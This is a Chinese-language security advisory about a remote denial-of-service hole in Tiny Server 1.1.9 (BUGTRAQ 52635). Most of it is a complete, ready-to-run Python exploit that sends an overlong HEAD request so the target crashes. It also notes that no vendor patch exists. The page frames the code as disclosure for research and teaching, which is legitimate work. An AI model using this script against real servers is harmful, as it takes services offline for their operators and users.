发布日期:2012-03-20
更新日期:2012-03-21受影响系统:
Tiny Server Tiny Server 1.1.9
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 52635Tiny Server是个基本的HTTP服务器。Tiny Server在实现上存在远程拒绝服务漏洞,成功利用后可允许远程攻击者使受影响应用程序崩溃。<*来源:Brock Haun
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Brock Haun ()提供了如下测试方法:#!/usr/bin/python
###############################################################################
# Overflow exploiting a vulnerability in Tiny Server <=1.1.9 (HTTP) HEAD request.
# Date of Discovery: 3/19/2012 (0 Day)
# Author: Brock Haun
# Vulnerable Software Download: http://tinyserver.sourceforge.net/tinyserver_full.zip
# Software Version: <=1.1.9
# Target OS: Windows (Tested on Windows 7)
###############################################################################
import httplib,sys
if (len(sys.argv) != 3):
print "
[*]Usage: ./" + sys.argv[0] + " <target
host> <port>"
sys.exit()
host = sys.argv[1]
port = sys.argv[2]
buffer = "A" * 100 + "HTTP/1.0
"
print "
[*]*************************************************"
print "[*] Tiny Server <= 1.1.0(HTTP) HEAD request overflow"
print "[*] Written by Brock Haun"
print "[*] security.brockhaun@gmail.com"
print "[*]*************************************************
"
try:
print "
[*] Attempting connection."
httpServ = httplib.HTTPConnection(host , port)
httpServ.connect()
print "
[*] Connected."
print "
[*] Sending crash buffer."
httpServ.request("HEAD" , buffer)
print "
[*] Done! Target should be unresponsive!"
except:
print "
[***] Connection error. Something went wrong. :("
httpServ.close()
sys.exit()建议:
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厂商补丁:Tiny Server
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://tinyserver.sourceforge.net/at32 Reverse Proxy多个HTTP标头字段拒绝服务漏洞Aruba Networks ArubaOS远程命令注入漏洞相关资讯 Tiny Server
- Tiny Server远程目录遍历漏洞 (10/10/2012 08:02:52)
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